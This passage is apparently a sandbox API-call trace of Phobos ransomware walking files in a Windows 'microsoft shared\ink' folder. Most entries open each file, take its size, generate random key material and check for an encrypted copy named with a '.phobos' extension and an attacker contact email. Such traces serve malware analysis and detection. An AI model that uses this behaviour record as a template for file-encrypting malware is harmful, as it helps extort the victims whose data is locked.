shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0124.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.516] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.517] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=180172) returned 1 [0124.517] CloseHandle (hObject=0x584) returned 1 [0124.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0124.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.517] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.517] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.517] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=208408) returned 1 [0124.517] CloseHandle (hObject=0x584) returned 1 [0124.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0124.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.518] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.518] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584 [0124.518] GetFileSizeEx (in: hFile=0x584, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=181964) returned 1 [0124.518] CloseHandle (hObject=0x584) returned 1 [0124.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0124.518] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.520] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.520] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.627] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.627] ResetEvent (hEvent=0x52c) returned 1 [0124.627] SetEvent (hEvent=0x530) returned 1 [0124.627] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.628] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=212) returned 1 [0124.628] CloseHandle (hObject=0x590) returned 1 [0124.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0124.628] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.629] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.630] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.631] ResetEvent (hEvent=0x52c) returned 1 [0124.631] SetEvent (hEvent=0x530) returned 1 [0124.631] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.631] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.631] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=215) returned 1 [0124.631] CloseHandle (hObject=0x590) returned 1 [0124.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0124.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.632] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.635] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.635] ResetEvent (hEvent=0x52c) returned 1 [0124.635] SetEvent (hEvent=0x530) returned 1 [0124.635] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.635] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.635] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=903) returned 1 [0124.635] CloseHandle (hObject=0x594) returned 1 [0124.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0124.635] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.636] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.636] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.637] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.638] ResetEvent (hEvent=0x52c) returned 1 [0124.638] SetEvent (hEvent=0x530) returned 1 [0124.638] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.638] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=693) returned 1 [0124.638] CloseHandle (hObject=0x590) returned 1 [0124.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20 [0124.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.638] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.638] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.640] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.640] ResetEvent (hEvent=0x52c) returned 1 [0124.640] SetEvent (hEvent=0x530) returned 1 [0124.641] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.641] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.642] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=247) returned 1 [0124.642] CloseHandle (hObject=0x594) returned 1 [0124.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml")) returned 0x20 [0124.642] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.642] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.642] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.643] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.644] ResetEvent (hEvent=0x52c) returned 1 [0124.644] SetEvent (hEvent=0x530) returned 1 [0124.644] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.644] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=3529) returned 1 [0124.644] CloseHandle (hObject=0x594) returned 1 [0124.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml")) returned 0x20 [0124.644] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.644] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.644] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.646] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.646] ResetEvent (hEvent=0x52c) returned 1 [0124.646] SetEvent (hEvent=0x530) returned 1 [0124.646] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.646] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.646] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=804) returned 1 [0124.647] CloseHandle (hObject=0x594) returned 1 [0124.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0124.647] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.647] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.647] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.648] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.648] ResetEvent (hEvent=0x52c) returned 1 [0124.648] SetEvent (hEvent=0x530) returned 1 [0124.648] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.648] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.649] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=617) returned 1 [0124.649] CloseHandle (hObject=0x594) returned 1 [0124.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0124.649] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.649] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.651] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.651] ResetEvent (hEvent=0x52c) returned 1 [0124.651] SetEvent (hEvent=0x530) returned 1 [0124.651] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.652] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=15097) returned 1 [0124.652] CloseHandle (hObject=0x594) returned 1 [0124.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0124.652] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.652] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.654] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.654] ResetEvent (hEvent=0x52c) returned 1 [0124.654] SetEvent (hEvent=0x530) returned 1 [0124.654] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.654] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0124.654] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=11067) returned 1 [0124.654] CloseHandle (hObject=0x594) returned 1 [0124.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml")) returned 0x20 [0124.654] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.655] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.655] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.656] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.656] ResetEvent (hEvent=0x52c) returned 1 [0124.656] SetEvent (hEvent=0x530) returned 1 [0124.657] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0124.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590 [0124.657] GetFileSizeEx (in: hFile=0x590, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=44506) returned 1 [0124.657] CloseHandle (hObject=0x590) returned 1 [0124.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml")) returned 0x20 [0124.657] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.657] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.657] WaitForSingleObject (hHandle=0x52c, dwMilliseconds=0xffffffff) returned 0x0 [0124.659] WaitForSingleObject (hHandle=0x52c, 